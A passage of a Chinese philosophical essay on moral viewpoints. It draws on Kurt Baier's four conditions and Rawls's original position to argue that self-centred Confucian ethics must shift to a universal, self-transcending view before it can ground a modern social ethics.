观”，就是指这样一种提示出一种观察地位的“观点”。一个事实，可以从不同的角度去观察，得出不同的结论。比方说，对一个人半夜潜入银行悄悄用工具打开里面的保险箱的行为，人们可以仅从技术的角度进行观察，惊叹这个人开锁的技艺高明和老练，得出“这人真行”的肯定结论；而若从另一个角度观察，我们却会给出否定的评价，认定这人是在偷窃，是在犯罪，对这种行为予以谴责。这后一种观察点就是我们要说的“道德观点”。这种“观点”的重要性和优先性不言而喻，我们从上面的例子中就可以看到∶它可以引导人们得出不同的结论。任何理论都必须予设一个观察点，这一观察点就决定了这一理论的基本视野和走向。观察点的纷乱、误置和随意调换，就有可能造成这一理论的逻辑矛盾、杂乱无章乃至结论完全谬误。由于这种优先的观察点对最后形成的结论有如此重要的意义，所以我们也把最后的一个个结论径直称之为“观点”是不无道理的。把这些最后形成的“观点”联系起来，使点连成线，就成了一个理论，一个体系，而这又必须有赖于一种统一的“观察点”。正是由于这种优先的“观点”与“理论”的紧密关系，所以，我们要弄明白“义理”，不能不首先弄清我们应该持一种什么样的道德观点。我们也还要问∶传统伦理中占优势的道德观点是一种什么样的道德观点？它能不能使我们弄明白普遍的义理、基本的社会道德，如果不能，应当向什么方向转换等等。科特贝尔（KurtBaier）在１９５８年出版的一本有影响的书《道德观点》中认为∶道德问题就是对行为理由的呼吁。道德理由有真伪，真实的理由就是从道德观点看可接受或所要求的理由，“道德观点”实际就成了测试行为正当的一块试金石，所以，澄清“道德观点”的概念就具有关键的意义。我们注意到∶贝尔这里所说的“道德观点”不仅具有区别于审美，技术等观点的外在意义即它是一种涉及到判断行为和品质善恶正邪的观点∶而且具有内在的意义即它还是一种能够检验善恶正邪标准真伪的观点。在贝尔这里，“道德观点”实际是指一种“合乎道德的观点”。而我们所说的“道德观点的转换”却主要还是在前一种意义上说的，即仅仅是一种“涉及道德的观点。”但贝尔对后一种“道德观点”的考察，对我们要讨论的这一“道德观点”的“转换”仍很有意义。贝尔心目中的“道德观点”是一种什么观点呢？一个人在进行行为规范的判断时，怎样才是采取了一种道德观点呢？我们可以把贝尔的论述概括如下∶⑴他必须不是自私的；⑵他是按原则行事的；⑶他愿意使自己的原则普遍化；⑷他要考虑到对所有人都有好处。一个人的判断必须满足了上述所有条件，才可以说是采取了一种道德观点，这看起来这很严格的，但我们又可以说，这四个条件又是倾向于结为一体的，其基本精神只是一个即超越自我而普遍化的精神，不过我们现在还是先来分别地说明。⑴这个人必须是不自私的，他不能仅仅从有利于自己的观点考虑问题。举例来说，如果要把一个十字路口改建为一个大环形路口，这可能遭到住在附近的经常步行者的反对，因为这样他们就得绕路而不方便了，而这一地区的政治家也可能同样反对，因为他们要争取住在这里的这些人的选票；另一方面，驾车者却会赞成这一改建计划，因为这使他们不必在红绿灯前等候，而有可能承担这一改建工程的公司自然也会大力支持这一计划，因为这将有可能给它们带来大笔利润。这样，赞成的一方和反对的一方就可能争执不下，而他们所采取的都是一种自利的观点。那么，有没有可能采取一种超脱的、非自利的观点呢？当然可以有，这种超脱的观点可能就是交通专家或城市规划者所采取的观点，他们在考虑这一问题时不涉及到自己的利益，是客观和冷淡的（disinterested）。我们要注意，贝尔决不是要否认个人利益，也决不是预先已把自利视为不道德的才把它排除在道德观点之外，在此贝尔的论据实际上是∶采取自利的观点解决不了利益冲突，不能对冲突的利益要求做出裁断，因而冲突将危及我们的生活，使我们的社会回到原始的“丛林状态”。所以道德观点不仅不能等同于自利观点，甚至要考虑正是与自利观点相反的因素构成了道德观点。⑵这个人必须是按原则行事的。也就是说，他不能象一个利己主义者一样只按有利的特殊目标和“最佳策略”（rulesofthumb）行事，而是要按始终一贯的原则行事。这可以看成是我们所说的“涉及对象的普遍性”或者说“终身行之”，是个人按一贯性，而不是一时的喜好和任性行事。⑶这个人也必须是愿意使自己的原则普遍化的，这就是我们所说的“涉及主体的普遍性”或“一以贯之”。道德规范是对所有人而言的（moralrulesaremeantforeverybody），光我一个人按原则行动还不足以概括出“道德观点”，这原则还必须为所有人遵循。由此推论，道德教育就必须是完全普遍和公开的，它不是少数个人或某个阶层的特权。一个秘传的法典或心诀、诫律，最好也不过是一种宗教，而不是一种道德。如果一个行为规范被公开教育和普遍遵循，它就将变得象我们前面看到的那样自我挫败、自行拆台，那它在道德上就是毫无意义的。⑷这个人必须考虑到“对所有人都好”。以上三个条件均是形式的，但道德规范也有内容，这些规范必须是对类似的所有人都有好处的（moralrulesmustbeforthegoodofeverybodyalike）。对这里的“好”（good）一词，贝尔是在偏于消极和否定的意义上理解的，“对所有人都好”并非是要我们去最大限度地促进所有人的福利，而只是要求我们去帮助处在困境中的邻人，就象我们在圣经中“好心的撒马利亚人帮助遭劫受伤的路人”一例中看到的那样，而尤其是象“勿杀人”“勿盗窍”“勿残忍”一类禁止那些不可使自己置于对象地位的“不可逆行为（nonreversiblebehavior）的规则，初看起来似乎是纯粹否定和消极的，但若从一种独立的、无偏见的、客观的、冷静的、中立的观察点来看，所有人都遵守这些规则就是对所有人都好的。从一时一事来说，我不做这些事似乎只对可能直接受这些事影响的人有好处，对我，对其他人并无好处，但从长远、从全面来说，如果所有人都倾向于这样禁止自己做这些事，那就将使所有人受益。归结起来∶非自利、依原则、可普遍化和对所有人都好这四条，可以说都是旨在超越自我、超越主观性，而以一种普遍的、全面的、客观的，不偏不倚的眼光看问题，在此，不能给予任何自我或小团体的利益以优先权，而是要同时考虑到所有人的利益。这样的观点才是道德的观点，用贝尔的话来说，这是一种近于“上帝之眼的观点”（god"s-eyepointofview）。我们也许会觉得如此理解“道德观点”过于狭隘，而这又是由于对“道德”概念、“道德领域”的范畴理解过于狭窄所致。我们也许会问∶这样的话，个人的崇高追求、心灵感召，道德上的英雄气概和圣洁精神若不放在道德中，那么往那里安置呢？确实，西方人，尤其近现代西方人所理解的道德看来只是社会道德，是共同体的道德法典，图尔明（Toulmin）、黑尔（Hare）、贝尔、罗尔斯等主要伦理学家所理解的道德莫不如是。前面所说的那种崇高追求则一般被放到了宗教的范畴之内，宗教信仰主要是个人的事情，而道德规范却是社会的事情，宗教可能仍会给道德，尤其是崇高行为、奉献和牺牲的壮举以信念上的支持，但对道德规范的主要支持也许将可以考虑为是来自社会本身，来自所有人都具有的理性。对社会的理性思考本身，也许就足以为道德提供充分的理由。以上道德与宗教两分，道德仅被理解为社会的道德体系可以说是现代西方人的主流观点，带有西方文明和传统的印记。我们也许可以批评说这种对道德的理解不够全面，但是，不容否认的是，确实有一大块社会道德的领域，这是任何社会、人群都要面对的领域。我们首先遇到的就是这一领域内的道德问题，这些问题得不到妥善的解决，就将使每一个人的基本权益都受到损害。当然，我们可以说，那些严重影响到人的生命和利益的行为，我们可以用法律的手段来对付，但是，法律最终是必须以道德正义为根基的，法律要得以顺利实行也必须依赖于人们道德观念的支持，何况还有许多在法律之外、却仍然是社会之内的问题。生活在一个共同体内的人们必须在这些基本问题上达成基本的道德共识，否则，谁都不会生活得舒服，人们会感到在互相妨碍，互相掣肘，于是就会有高尚者的逃避（虽然这越来越难），和卑鄙者的横行，甚至老实人也铤而走险。所以，我们必须正视社会道德的领域。而要解决好这一领域内的问题，我们就必须先考察我们的认识前提，考察传统的道德观点。中国传统伦理后期发展的主要趋势看来是“道德化”而非“道义化”的，即“道（导）向一己之得（德）”，而非道（导）向普遍之义（理）”。我们对传统道德后来发展的重心是放在自我，放在一己，传统儒学后期主要是自我修身之学这一特征不想在此赘言，现在的问题是∶这一道德观点是否适合解决社会，尤其现代社会领域内的道德问题？依据这一观点能否建立起一种社会道德体系这一体系既包括社会制度的正义原则，又包括所有个人的义务规范体系？我们在中国伦理传统中看到一种新的自我主义。我们一般把西方人所说的“egoism”都翻译成“利己主义”，确实，西人所说的“egoism”一般都是指“利益的自我主义”，如快乐主义之类。但我们现在在我们传统中看到的却是一种完全不同的东西∶它确实是立足自身，关注自我的，但它却又是追求道德，追求道德上的纯洁和高尚的，我们也许可以把它称之为“道德的自我主义”或“高尚的自我主义”，即一种真心想提高道德，一心一意向善的自我主义。虽然它是一种自我主义，但它强调履行自己的义务，强调限制自我的欲望和利益。从这种道德自我主义出发，就不允许自己去侵犯别人，去损害他人的利益，甚至宁愿牺牲自己的利益去满足他人的愿望。它虽然主要追求的是道德上的自我完善，但它也追求人际关系中的和谐。它对传统社会和稳定和发展实际上起了巨大的积极作用，但它的价值还是更多地体现在内在的方面，它自有价值，自有意义，自有报偿，自有乐地，它在历史上一直是士人的执着追求，他们在其中找到了自己安身立命的家。它造就了一批具有圣贤人格的道德楷模，这些楷模就象在夜晚天空中熠熠闪光的星星一样，使我们至今都感到神往和崇敬。但是，我现在要提出的问题是∶如果它的立足自我，面向自我的基本观点不改变，它是否能够成为解决今天社会领域内道德问题的基石？或者按新儒家的提法，我们是否能从这一道德自我主义开出一种新的具有普遍意义的社会伦理？一个人立足自我来看待社会、看待人群，那么，显然，他所看到的就主要是一种人我关系。人际关系就是人我关系。其它如群己关系，公私关系也是这一人我关系的变形（“公”字单独使用时则另当别论），“己”不消说就是“我”，“私”也是指“我”，只不过他人在此是作为一个群体出现而已（“群”或“公”）。“我”始终存在，他人或者是作为一个，或者是作为一群，或者是作为一个整体而与“我”对称。我在此想特别澄清一个误解，古人所称的群、己关系，公、私关系，并非我们现在常说的社会与个人的关系。对社会与个人关系的观察必须采取一种超越了自我的普遍观点才能达到。因为∶在这里，“个人”中可以说包括“我”，又可以说不包括“我”，因为“我”也是社会的一员，“我”并不与他人组成的社会对立，“我”同时在社会与个人之中，所以，如果说在“社会”与“个人”中同时都包括了“我”，也可以说同时都没有包括“我”，我在谈到社会与个人的关系时，实际上是采取了一种超越自我的观点，就好象不属于这一社会的神从天上往人间俯视。我们在理性思考中是有这种可能的∶我们可以暂时摆脱自我的主观性而进行一种具有普遍性的思考，甚至可以说∶理性的本质就是要超越自我而达到普遍，而直觉则无论如何要依赖主体。把古人常说的群己关系，公私关系错当成现代的社会与个人的关系常常导致错误的结论∶比如概括说中国古代社会是以社会为本位，而西方近代社会是以个人为本位，中国人重整体、西方人重个人等等。其实，西方社会是既以个人，又以社会为本位的。而中国传统社会既不是以社会整体为本位，又不是以个人为本位的。否则，就很难解释，为什么一方面会有梁启超、孙中山、梁漱溟等许多人批评中国人如“一盘散沙”“缺乏国家观念和团体精神”；另一方面又会有五四时期的许多人如陈独秀、吴虞等批评中国传统“压制和扼杀人的个性”。在均以自我为中心观察点的人我，群己和公私等关系中，最重要的还是人我关系，在古人眼里，正如郝敬《孟子说解》中所言∶“世道惟人与我。”这很好理解，因为对立足于自我的观点来说，这一关系最为直接、最为切近。常有学者认为中国传统伦理关系的特点是一对一的关系，也是说的这个意思。虽然有许多个他人，但每次与我打交道的一般就是一个。所以伦理规范一般也是从这种一对一的关系中分别概括出来的，如一个人分别对君主、父亲、兄弟、朋友、路人，就分别有忠、孝、悌、信、恕等义务。人与我的关系可以从许多方面去观察，如利益、价值追求、合作与冲突等等，而从严格道义论的要求去看待人我关系中的自我，自然就要求自己努力去为他人着想，努力尽自己的义务。这是道德主义对自我观点的影响，但现在更吸引我们注意的是另一面的影响∶即这种自我观点对道德主义所产生的影响。首先，由于是立足自我、关注自我，所以对我来说，最重要的不是社会上人与人之间的相互态度和行为哪些是正当的，哪些是不正当的，不是人们相互间有那些明确的义务，而是成就道德的自我，成就个人的德性，趋近圣贤的人格。在某种意义上甚至可以说，人们相互间的行为，尤其他人对我的行为是不重要的，不论别人对我怎样，是否履行与我一样的义务，都不会影响到我的修身养性，甚至是我磨砺自己的一种必要手段。“欲海横流”、“功利滔滔”、反而更显出君子本色，更衬托出圣贤的地位。也就是说，道德自我主义所关注的不是义务与行为的正当性，而是自我德性与人格。义务与正当具有某种客观的普遍性，需要脱离主体来讨论，而德性与人格则始终不离主体和自我。但是，在儒学中，这个“我”及其“我”所要达到的目标崇高的德性和人格，又是始终在人我关系中运行和展开的，要完成道德上的自我实现，又决不能离开他人，离开人群。道家可能不这样想，但至少这是儒家的执着想法。道德自我必须不离人伦日用，在平凡的对他人的尽分中创造性地实现。所以，初看起来，这是一个令人困惑不解的现象∶一方面儒学自认是“为己之学”，另一方面，再没有那一学派比儒学更重视人伦关系的了。不过，由于自我中心的作用，这一人伦关系中的尽分和推爱自然是由最亲近的人开始，根据离我的关系的亲疏，由近及远地展开，就象一块石头投入水中激起的波纹，离中心越近的波纹越深越浓，离中心越远的波纹越浅越淡。这是一般情形，但有时更高、更紧迫的义务也可能打破这种状况，使我必须优先关注离我关系较远的人。其次，由于我是立足自我、关注自我，所以我在人我关系中主要关心的是自己要尽义务，而不是他人是否尽义务。我的尽义务是不以他人对我的态度为转移的，是不用考虑他人是否尽同等的义务的，我强调的只是我自己这一方单方面的尽义务，单方面地对君忠、对父孝、对兄悌。至于君是否明、父是否慈、兄是否爱，那是属天的事情，而不是我分内的事，因为重要的不是别人做了什么，而是我自己做了什么。正是我自己做了什么，而不是别人对我做了什么，对我能成为一个什么样的人，能不能德性完美才是真正关系重大。另外，我也不能要求别人象我对待他一样对待我，因为我对他人的尽分是可以无限提高、无限扩大的，我不必考虑对他人义务的限度，我可以完全放弃自己的利益，可以牺牲自己的生命，可以无限委曲、无限忍耐，无限承受，无限奉献，我越是如此，越是接近我的目标，但我怎么能如此要求其他人都象我这样做，尤其是对我这样做呢？所以，道德的自我主义是完全可以主张单方面的尽义务，无条件的尽义务和无止境的尽义务的，因为这只是要求我自己，我对我自己有这种权利，而且，这也可能是我内心最深的渴望。这种道德自我主义自然有它崇高的价值和意义。在单方面和无条件的尽义务中包含有道德的真谛，而完全的奉献与牺牲也有一种巨大的道德感召力。崇高的精神境界和道德水平都是在少数个人那里达到的，就象少数高高耸立的山峰，要高出这块大陆的平均高度许多。但是，我们从上面的讨论却也可以看到∶从自我观点的道德主义中推不出平等的责任和适度的义务，因为那样的话，就等于自己把自己看低了，就等于自己给自己的道德努力划定了界限。而要推出平等和适度的义务，或者说，推出正义，建立一种社会的道德体系，就必须超越自我，采取一种不以自我为中心，甚至不把自我包括在内，暂时悬置自我的观点。我们可以再打个比方来说明这样两种不同的观点。采取自我的观点就好象我站在地上、站在人群之中。确实，我随便一眼望去，就可以看得很远很远，从理论上讲，只要人的视力无限，其视线的延伸也是无限的。我还可以旋转一周，往四面八方望去，我就可以看到无数活动的人，无限变化的景象，虽然我只是立足一点而环顾四周，但只要设定我的视力无限，在理论上说我就可以看到世界上所有的人、所有的事物（这在此虽然是比喻，但作为思想、思想力确实是可以无限，即是可以思考任何对象的！）。这样，以自我为中心的观察也就可以获得一种无限性，一种普遍性了。所以，我们很可以理解中国古人虽然常常是立足自我，却能够以天下为怀，可以理解为什么他们并不在天下、邦国与家之间做出明确的分断。因为立足平面的一点而观察是较容易看到事物之间的联系而不易看到其差别的，是较容易达到一种统一和综合而不易进行区别和分析的。而且，由于是立足平面的一点观察，自然越远的人显得越小，越近的人显得越大，而我关注他人的程度一般也就随着他接近我的程度而提高。但是，为什么不是自然地提高到最为关注我自己呢？就象一个儒者所言，一个人应当比关心国更关心家，却不能比关心家更关心自己，但这是为什么呢？我为什么要在我的父母与我自己之间来一个分断，把最大的关怀给予父母而非我自己呢？这似乎是与自我的观点无关，而仅仅是因为受到了传统道义论的影响，但问题并不这样简单，是否自我观点还是起了某种关键的作用呢？确实，我看到一个个的他人，离我最近的亲人实际会在相当程度上遮蔽他们后面的人，近处的人会遮蔽远处的人，但我总还是有可能看到他们所有人，而真正的问题在于，正由于我的观察始终不能离开我的眼睛，所以我恰恰不能亲眼看到我自己的面容，恰恰不能完整地看到我自己∶一方面，观察始终离不开我，我是始终存在的，我始终是观察的主体，而另一方面，我却恰恰因此而无法成为被观察的对象。我无法超越自我而观察的结果是我无法观察自我，既然连这自我都无法客观地予以观察，就更谈不上使自我置于与他人同等的地位，呈现出同样等级的形象了。我们可以用这一现象来说明为什么从自我中心观点推不出平等适度的义务体系，在确定义务的时候，以自我为中心的观点无法把自我置于与他人同等的地位上进行思考。自我只是主体，是观察的主体，行动的主体，对他人尽分的主体，而它却没有同时也作为观察的对象、行动的对象、他人对之尽分的对象。这样，我们说，从自我中心的观点就难以推出一种平等适度的道德义务体系，无论利益的自我主义与高尚的自我主义概莫能外，不同的是∶利益的自我主义是因为看不到自我的义务，而高尚的自我主义则是因为看不到自己的权利。当然，这句话反过来说也是一样，即利益的自我主义是因为看到不到他人的权利，因为它只看到他人是一个个可供自己利用的对象，而看不到自己也是要相应为他人做出服务的；高尚的自我主义则是因为看不到（或不关心）他人的义务，因为它只看到他人是一个个可供自己服务的对象，而看不到自己本来也是可以要求他人做出相应服务的。两者的主旨是很不同的，高下也就殊然两判，但在看不到自己，或不能把自我与他人同等看待，不能象看待他人一样看待自己这一点上则是共同的。而之所以这样，恰恰又是它们都采取了一种自我中心的观点。而采取一种普遍的、超越自我的观点，则好象是上升到了天上，从上面往下俯视下面所有的人，这时，各个人及各个群体的分别和界限当然是清清楚楚的，尤其重要的是，是各个人都是处在同一地位上，他们的形象决不互相遮蔽，也不近大远小，因为这视线并不发自平面的一点，也不发自一个中心，它是多中心或者说是无中心的，这是真正的“一视同仁”。平等和适度的义务体系必须从这种“一视同仁”中推出。当然，现实生活中并没有这样一双脱离任何主体的人的眼睛，并没有这样一种多中心或无中心的人的视线，我们这里只是比喻，但是，人的思维却能进行这样一种不带“我”字的，超越自我的思考，人能够进行一种基于普遍观点的虚拟的、抽象的思考。我们实际上也常有这样的思考，只是片断而不系统，不能结出理论的果实而已。在西方的社会政治哲学中，自然法理论家、社会契约论者也一般都是从一个虚拟的自然状态开始。在罗尔斯的“原始状态”中，那个要选择进入某个社会的虚拟选择者实际上是在为所有人选择，“原初状态”实际上正好是一种设计出来的普遍观点。人们也许会说，这种普遍观点仍然摆脱不了设计者个人的主观影响，但无论如何，是不是努力尝试做这种思考还是很不一样的，而且我们也确实要注意到，这种思考有助于纠正一个人的偏见，甚至使他得出他开始决不会想到的结论。我们有可能遇到的一个质问是∶难道“自我”就没有一种普遍性吗？难道不是每个人都有一个自我吗？难道所有的道德体系不都要求“从我做起”吗？难道道德不落实到自我，乃至不落实到自我的心灵能够持久有效地起作用呢？确实是这样，道德必须要求每个人都从我做起，而且是从内心生发出来的、真诚自觉的“从我做起”。问题是要弄清这是道德的第一义还是第二义？道德究竟应当以何者为先？是首先确立普遍的道德原则，还是首先确立道德的主体？是首先明确什么是义务，什么是正当还是首先考虑个人的德性、品格？在我看来，从社会道德而非个人追求的立场来说，前者无疑应当优先于后者。道德主体必须在对道德原则的认识和践履中确立，个人的德性和人格必须在履行义务中培养和完善。难道我们不是要首先明确一般的原则，然后才是个人的应用吗？难道在“从我做起”之前不应当先明白“应做些什么”吗？“每个人都有一个自我。”这里确实有一种普遍性，如果我们不是讨论道德，我们甚至有可能在“自我”的基础上建立一种人生哲学，一种追求和信仰体系，提出“塑造你自己”或“实现你自己”作为这一体系的理想。但是，如果我们是讨论作为行为规范的道德的话，我们一说到“自我”，一说到“每个人都有一个道德自我”或者说“每个人都应当从我做起”就已经是第二义了，就必须承认在这之前还有原则规范。道德自我必须首先承认原则规范的普遍性，通过认识和履行原则规范来成就自己。虽然原则规范也可以说必须通过人的认识来发现，但关键的问题在于∶今天它们显然不能通过自我中心的观点来发现。当代新儒家把工夫就看作本体，其思想适合作为一种鼓舞和激动人的人生哲学、实践哲学，却不适合作为一种当代社会的伦理学。在道德领域中，在把自我与原则融合起来发挥效力之前，首先要把它们区别开来，即首先要超越自我，想清楚那“理”、弄明白那“义”，这时不能使这“理”、这“义”受到“自我”的任何纠缠，然后才是努力合，才是讲践履一定要“从我做起”，讲“以义正我”，“以理约我”。总之，在“行义”时要唯恐没有“我”，而在“明理”时则要唯恐有“我”。面对中国的文化传统，我们可能遇到的一个反驳是∶如果说传统伦理是以自我修养为主导的，那么，怎么解释传统伦理在历史上相当成功地维持了社会的稳定和繁荣呢？这确实是一个很具挑战性的问题，我们在此只能简要地回答说∶第一，传统伦理中从来不是只有一种倾向，也非始终都是自我修养的一派儒学占优势，我们只是说，这种自我观点的导向是儒学的发展、尤其是近一千年来的发展中的一种主要趋势，看来也在当代儒学的发展中占上风，而这种倾向在我们看来是有危险的，它可能使儒学自我封闭于社会，自我隔绝于众人，而反而得不到发展。而在历史上，孔子亦重礼，孟子亦重义，由汉至唐的儒者也在社会伦理方面卓有建树。并且，两千多年来的社会纲维的建立，不仅有儒学之功，也吸收了其它学派的积极因素，包括政治家的实际经验和思考，社会现实的要求毕竟比学派自身纯洁的要求更为有力。第二，儒学，包括强调自我心性修养的一派儒学，之所以能在历史上相当有效地起一种社会道德的作用，这是由历史的条件决定的。传统社会是一个精英等级制的社会，是士大夫与君主共治天下，真正的政治社会实际只是一个少数人组成的社会，所以自我或小团体的道德努力相当重要，也相对具有政治效用。少数统治者与广大民众隔有相当的距离，这种距离感加强了前者的权威，所以，对下层的大多数人来说，高高在上的统治者首先对他们来说是一种不能不感到敬畏的权威，他们的所言所行都有道理，在他们头上有一圈道德的光环这其中有真实的道德努力，也有距离感造成的假象。但无论如何，这一道德光环是起了维护社会稳定的作用的。其次，上层的道德努力也确实渗透并感化到下层，尤其儒家的道德一向重视人伦关系，亲戚关系，这也容易与庶民基于自然亲缘的内心道德要求合拍。但是，我们不要忘记，许多从事儒家为己之学，圣贤之学的学者心目中实际上是把大多数人排除在外的，他们甚至为此感到一种自豪。庶民主要是感化的对象，所以要以学风造就士风，再以士风影响民风。虽然士大夫这一阶层是开放的，但对不能上升到士这一阶层的多数人来说，这种圣贤之学实际与他们无缘。这在根本的社会政制未改变的情况下是显得很自然的，但是，我们今天的社会确实发生了翻天覆地的变化，实现了从未有过的社会与经济平等，道德就不能不首先面向所有人，要求所有人，也为着所有人。由此，我们可以谈到一种涉及到道德观点的错误，我们也许可以把这种错误称之为一种“误置道德观点（或立场）的谬误”（thefallacyofmisplacingmoralpointofview，或thefallacyofmisplacingmoralposition）。这种误置有涉外的层面和涉内的层面，涉外的层面比如说在该放置道德观点的地方却放置了功利的观点、明智的观点，或者反之，在该放置功利观点、明智观点的地方却放置了道德观点，因而混淆了道德与功利、道德与明智。涉内的层面则主要是指在应该放置自我追求的道德观点的地方，却放置了社会规范的道德观点；或者在应该放置社会规范的道德观点的地方，却放置了自我追求的道德观点，从而把自我追求的道德与社会规范的道德混淆起来了。如果说在应该放置社会规范的道德观点的地方，错放了自我追求的道德观点。这种“误置”往往失之于过严过苛；另一方面，却也还有一种“误置”却可能要失之于过松、过懈，即在本应放置自我追求的道德观点的地方，却放置了社会规范的道德观点，自我仅仅满足于不触犯道德之规，乃至满足于仅仅不触犯法律，却缺乏信仰、缺乏追求，忽略崇高精神对于社会道德的意义，乃至不加分辨地对这种精神进行攻击，这显然也是犯了“道德观点误置”的错误。确实，自我取向的心性儒学自有它的境界，它的魅力和它的实绩，它的确哺育和熏陶了一批具有崇高人格和完美德性的君子，至今令我们仰慕和激动不己。但是，采取这样一种以自我为中心的观点，却开不出一种新的社会伦理。同理，由它也开不出民主和法治，因为它们也都是具有这种普遍性的∶即是约束所有人也为着所有人的，因而必须以一种超越自我的眼光去观察和确立。总之，我们要开出一种新的社会伦理，必须首先实行一种道德观点的转换，即由自我观点转向社会观点，由特殊观点转向普遍观点，这样一种道德观点的转换是一种根本的转换，没有这一转换，其
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